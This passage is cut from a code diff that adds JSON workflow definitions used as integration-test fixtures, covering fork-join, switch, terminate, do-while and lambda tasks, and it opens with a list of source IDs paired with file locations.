"sourceId": "1413900_48525", + "url": "file/location/ca0c9140-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_73303", + "url": "file/location/d5943a40-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_55202", + "url": "file/location/d1a4d7a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-61413adf-3c10-4484-b25d-e238df898f45", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-addca397-f050-4339-ae86-9ba8c4e1b0d5", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e4de9810-0f69-4593-8926-01ed82cbebcb", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e16e2074-7af6-4700-ab05-ca41ba9c9ab4", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-341c86f8-57a5-40e1-8842-3eb41dd9f528", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-88c2ea9b-cef7-4120-8043-b92713d8fade", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3f6a731f-3c92-4677-9923-f80b8a6be632", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-1508b871-64de-47ce-8b07-76c5cb3f3e1e", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "generated-1406dce8-7b9c-4956-a7e8-78721c476ce9", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "f0206671-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35ebee36-3072-44c5-abb5-702a5a3b1a91" + }, + { + "sourceId": "f01f5501-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d3a9133d-c681-4910-a769-8195526ae634" + }, + { + "sourceId": "f022b060-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8fc1413d-170e-4644-a554-5e0c596b225c" + }, + { + "sourceId": "f02fa8b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35bed0a2-7def-457b-bded-4f4d7d94f76e" + }, + { + "sourceId": "f031f2a0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a5a2ea1f-8d13-429c-a44d-3057d21f608a" + }, + { + "sourceId": "f0424650-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/1c599ffc-4f10-4c0b-8d9a-ae41c7256113" + }, + { + "sourceId": "f04ec970-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8404a421-e1a6-41cf-af63-a35ccb474457" + }, + { + "sourceId": "1413900_47197", + "url": "file/location/c81b6fa0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-2a63c0c8-62ea-44a4-a33b-f0b3047e8b00", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-b27face7-3589-4209-944a-5153b20c5996", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-144675b3-9321-48d2-8b5b-e19a40d30ef2", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-8cbe821e-b1fb-48ce-beb5-735319af4db6", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-ecc4ea47-9bad-4b91-97c7-35f4ea6fb479", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-c1eb9ed0-8560-4e09-a748-f926edb7cdc2", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-6bed81fd-c777-4c61-8da1-0bb7f7cf0082", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-852e5510-dd5d-4900-a614-854148fcc716", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-f4dedcb7-37c9-4ba9-ab37-64ec9be7c882", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0259691-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/721bc0de-e75f-4386-8b2e-ca84eb653596" + }, + { + "sourceId": "f02b3be1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d2043b17-8ce5-42ee-a5e4-81c68f0c4838" + }, + { + "sourceId": "f02b62f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/63931561-3b5b-4ffe-af47-da2c9de94684" + }, + { + "sourceId": "f0315660-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d99ed629-2885-4e4a-8a1b-22e487b875fa" + }, + { + "sourceId": "f0306c00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6f8e673a-7003-44aa-96b9-e2ed8a4654ff" + }, + { + "sourceId": "f033c760-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/627c00f9-14b3-4057-b6e2-0f962ad0308e" + }, + { + "sourceId": "f03526f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fafabaf9-fe58-4a9a-b555-026521aeb2fe" + }, + { + "sourceId": "f03acc41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6c9fed2c-558a-4db3-8360-659b5e8c46e4" + }, + { + "sourceId": "f0463df1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e9fb83d2-5f14-4442-92b5-67e613f2e35f" + }, + { + "sourceId": "f04fb3d0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e7a0f82f-be8d-4ada-a4b1-13e8165e08be" + }, + { + "sourceId": "f05272f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9aba488a-22b3-4932-85a7-52c461203541" + }, + { + "sourceId": "f0581841-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/457415f6-6d0c-4304-8533-0d5b43fac564" + }, + { + "sourceId": "generated-8fefb48c-6fde-4fd6-8f33-a1f3f3b62105", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-30c61aa5-f5bd-4077-8c32-336b87acbe96", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-d5da37db-d486-46d4-8f7d-1e0710a77eb5", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-77af26fe-9e22-48af-99e3-f63f10fbe6de", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-2e807016-3d11-4b60-bec7-c380a608b67d", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-615d02e9-62c2-43ab-9df7-753b6b8e2c22", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3e1600fd-a626-4ee6-972b-5f0187e96c38", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-1dcb208c-6a58-4334-a60c-6fb54c8a2af5", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f024ac30-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0af2107b-4231-4d23-bef3-4e417ac6c5d3" + }, + { + "sourceId": "f0282ea1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0f592681-fd23-4194-ae43-42f61c664485" + }, + { + "sourceId": "f02c4d50-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ec46b9a3-99af-410a-af7d-726f8854909f" + }, + { + "sourceId": "f02b8a00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aed7e5da-b524-4d41-b264-28ce615ec826" + }, + { + "sourceId": "f02b14d1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/b88c9055-ab0d-4d27-a405-265ba2a15f0c" + }, + { + "sourceId": "f03044f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb8c4df9-d59e-4ac3-880e-4ea94cd880a4" + }, + { + "sourceId": "f034ffe1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/59f3fbe8-b300-4861-9b2f-dac7b15aea7d" + }, + { + "sourceId": "f03c2bd0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/19a06d54-41ed-419d-9947-f10cd5f0d85c" + }, + { + "sourceId": "f03fae41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a9a48a62-7d62-4f67-b281-cc6fdc1e722c" + }, + { + "sourceId": "f0455390-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0aeffc0a-a5ad-46ff-abab-1b3bc6a5840a" + }, + { + "sourceId": "f04b1ff1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9a08aaed-c125-48f7-9d1d-fd11266c2b12" + }, + { + "sourceId": "f04cf4b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/17a6e0f9-aa64-411f-9af7-837c84f7443f" + }, + { + "sourceId": "f0511360-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb633c73-cb33-4806-bc08-049024644856" + }, + { + "sourceId": "f0538460-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a7012248-6769-42da-a6c8-d4b831f6efce" + }, + { + "sourceId": "f058db91-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/bcf71522-6168-48c4-86c9-995bca60ae51" + }, + { + "sourceId": "generated-adf005c4-95c1-4904-9968-09cc19a26bfe", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-c4d367a4-4cdc-412e-af79-09b227f2e3ba", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-48dba018-f884-49db-b87e-67274e244c8f", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "generated-26700b83-4892-420e-8b46-1ee21eba75fb", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-632f3198-c0dc-4348-974f-51684d4e443e", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-86e2dd1d-1aa4-4dbe-b37b-b488f5dd1c70", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f04134e0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ff8f59bf-7757-4d51-a7e4-619f3e8ffaf2" + }, + { + "sourceId": "f04f65b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d66467d1-3ac6-4041-8d15-e722ee07231f" + }, + { + "sourceId": "1413900_15255", + "url": "file/location/a9e20260-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-e953493b-cbe3-4319-885e-00c82089c76c", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-65c54676-3adb-4ef0-b65e-8e2a49533cbf", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "f02ac6b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/21568877-07a5-411f-9715-5e92806c4448" + }, + { + "sourceId": "f02fcfc1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/f3b1f1a2-48d3-475d-a607-2e5a1fe532e7" + }, + { + "sourceId": "f03526f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/84a40c66-d925-4a4a-ba62-8491d26e29e9" + }, + { + "sourceId": "f03e75c1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e84c00e8-a148-46cf-9a0b-431c4c2aeb08" + }, + { + "sourceId": "f0429471-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/178de9fa-7cc8-457a-8fb6-5c080e6163ea" + }, + { + "sourceId": "f047eba0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/18d153aa-e13b-4264-ae03-f3da75eb425b" + }, + { + "sourceId": "f04fdae0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/7c843e53-8d87-47cf-bca5-1a02e7f5e33f" + }, + { + "sourceId": "f0553210-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/26bacd65-9082-4d83-9506-90e5f1ccd16a" + }, + { + "sourceId": "1413900_84904", + "url": "file/location/d8f7b090-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-84adc784-8d7d-4088-ba51-16fde57fbc21", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-9e49c58b-0b33-4daf-a39a-8fc91e302328", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "f02dd3f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8937b328-8f0d-4762-8d1f-7d7bc80c3d2e" + }, + { + "sourceId": "f03240c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aab6e386-4d59-4b40-b257-9aed12a45446" + } + ] + } + } + } +} diff --git a/test-harness/src/test/resources/switch_and_fork_join_integration_test.json b/test-harness/src/test/resources/switch_and_fork_join_integration_test.json new file mode 100644 index 0000000..e152a87 --- /dev/null +++ b/test-harness/src/test/resources/switch_and_fork_join_integration_test.json @@ -0,0 +1,166 @@ +{ + "name": "ForkConditionalTest", + "description": "ForkConditionalTest", + "version": 1, + "tasks": [ + { + "name": "forkTask", + "taskReferenceName": "forkTask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "switchTask", + "taskReferenceName": "switchTask", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "c": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_5", + "taskReferenceName": "t5", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_10", + "taskReferenceName": "t10", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "joinTask", + "taskReferenceName": "joinTask", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t20", + "t10" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/switch_and_terminate_integration_test.json b/test-harness/src/test/resources/switch_and_terminate_integration_test.json new file mode 100644 index 0000000..fdaf12e --- /dev/null +++ b/test-harness/src/test/resources/switch_and_terminate_integration_test.json @@ -0,0 +1,114 @@ +{ + "name": "ConditionalTerminateWorkflow", + "description": "ConditionalTerminateWorkflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "tp11": "${workflow.input.param1}", + "tp12": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "switch", + "taskReferenceName": "switch", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "one": [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp21": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "FAILED", + "workflowOutput": "${t1.output.op}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp31": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o2": "${t3.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/switch_with_no_default_case_integration_test.json b/test-harness/src/test/resources/switch_with_no_default_case_integration_test.json new file mode 100644 index 0000000..dd93aca --- /dev/null +++ b/test-harness/src/test/resources/switch_with_no_default_case_integration_test.json @@ -0,0 +1,68 @@ +{ + "name": "SwitchWithNoDefaultCaseWF", + "description": "switch_with_no_default_case", + "version": 1, + "tasks": [ + { + "name": "switchTask", + "taskReferenceName": "switchTask", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "c": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/terminate_task_completed_workflow_integration_test.json b/test-harness/src/test/resources/terminate_task_completed_workflow_integration_test.json new file mode 100644 index 0000000..9a59b91 --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_completed_workflow_integration_test.json @@ -0,0 +1,69 @@ +{ + "name": "test_terminate_task_wf", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false}}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": "${lambda0.output}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "o1": "${lambda0.output}", + "o2": "${t2.output}" + }, + "failureWorkflow": "failure_workflow", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/terminate_task_failed_workflow_integration.json b/test-harness/src/test/resources/terminate_task_failed_workflow_integration.json new file mode 100644 index 0000000..fc5813f --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_failed_workflow_integration.json @@ -0,0 +1,67 @@ +{ + "name": "test_terminate_task_failed_wf", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false}}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "FAILED", + "terminationReason": "Early exit in terminate", + "workflowOutput": "${lambda0.output}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "failure_workflow", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/terminate_task_parent_workflow.json b/test-harness/src/test/resources/terminate_task_parent_workflow.json new file mode 100644 index 0000000..e88f873 --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_parent_workflow.json @@ -0,0 +1,77 @@ +{ + "name": "test_terminate_task_parent_wf", + "version": 1, + "tasks": [ + { + "name": "test_forkjoin", + "taskReferenceName": "forkx", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "test_lambda_task1", + "taskReferenceName": "lambdaTask1", + "inputParameters": { + "lambdaValue": "${workflow.input.lambdaValue}", + "scriptExpression": "var i = 10; if ($.lambdaValue == 1){ return {testvalue: 'Lambda value was 1', iValue: i} } else { return {testvalue: 'Lambda value was NOT 1', iValue: i + 3} }" + }, + "type": "LAMBDA" + }, + { + "name": "test_terminate_subworkflow", + "taskReferenceName": "test_terminate_subworkflow", + "inputParameters": { + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "test_terminate_task_sub_wf" + } + } + ], + [ + { + "name": "test_lambda_task2", + "taskReferenceName": "lambdaTask2", + "inputParameters": { + "lambdaValue": "${workflow.input.lambdaValue}", + "scriptExpression": "var i = 10; if ($.lambdaValue == 1){ return {testvalue: 'Lambda value was 1', iValue: i} } else { return {testvalue: 'Lambda value was NOT 1', iValue: i + 3} }" + }, + "type": "LAMBDA" + }, + { + "name": "test_wait_task", + "taskReferenceName": "basicJavaA", + "type": "WAIT" + }, + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": "some output" + }, + "type": "TERMINATE", + "startDelay": 0, + "optional": false + }, + { + "name": "test_second_wait_task", + "taskReferenceName": "basicJavaB", + "type": "WAIT" + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "thejoin", + "type": "JOIN", + "joinOn": [ + "test_terminate_subworkflow", + "basicJavaB" + ] + } + ], + "schemaVersion": 2, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/terminate_task_sub_workflow.json b/test-harness/src/test/resources/terminate_task_sub_workflow.json new file mode 100644 index 0000000..b4196a1 --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_sub_workflow.json @@ -0,0 +1,13 @@ +{ + "name": "test_terminate_task_sub_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "type": "SIMPLE" + } + ], + "schemaVersion": 2, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/terminate_task_terminated_status_in_do_while_test.json b/test-harness/src/test/resources/terminate_task_terminated_status_in_do_while_test.json new file mode 100644 index 0000000..02ebb29 --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_terminated_status_in_do_while_test.json @@ -0,0 +1,45 @@ +{ + "name": "test_terminate_task_terminated_in_do_while", + "description": "Test workflow to verify TERMINATE task with terminationStatus=TERMINATED inside DO_WHILE loop correctly terminates workflow with TERMINATED status (issue #750)", + "version": 1, + "tasks": [ + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "items": [ + "a", + "b", + "c" + ] + }, + "type": "DO_WHILE", + "loopCondition": "", + "loopOver": [ + { + "name": "lambda", + "taskReferenceName": "lambda_ref", + "inputParameters": { + "scriptExpression": "function e() { return {'result': 'processed item'}; } e();" + }, + "type": "LAMBDA" + }, + { + "name": "terminate", + "taskReferenceName": "terminate_ref", + "inputParameters": { + "terminationStatus": "TERMINATED", + "terminationReason": "Workflow terminated by TERMINATE task in DO_WHILE loop" + }, + "type": "TERMINATE" + } + ], + "evaluatorType": "value-param" + } + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0 +} diff --git a/test-harness/src/test/resources/terminate_task_terminated_status_test.json b/test-harness/src/test/resources/terminate_task_terminated_status_test.json new file mode 100644 index 0000000..c05ccc6 --- /dev/null +++ b/test-harness/src/test/resources/terminate_task_terminated_status_test.json @@ -0,0 +1,39 @@ +{ + "name": "test_terminate_task_terminated", + "description": "Test workflow to verify TERMINATE task with terminationStatus=TERMINATED correctly terminates workflow with TERMINATED status (issue #750)", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "function e() { return {testvalue: true}; } e();" + }, + "type": "LAMBDA" + }, + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "TERMINATED", + "terminationReason": "Early exit with TERMINATED status", + "workflowOutput": "${lambda0.output}" + }, + "type": "TERMINATE" + }, + { + "name": "lambda", + "taskReferenceName": "lambda1", + "inputParameters": { + "scriptExpression": "function 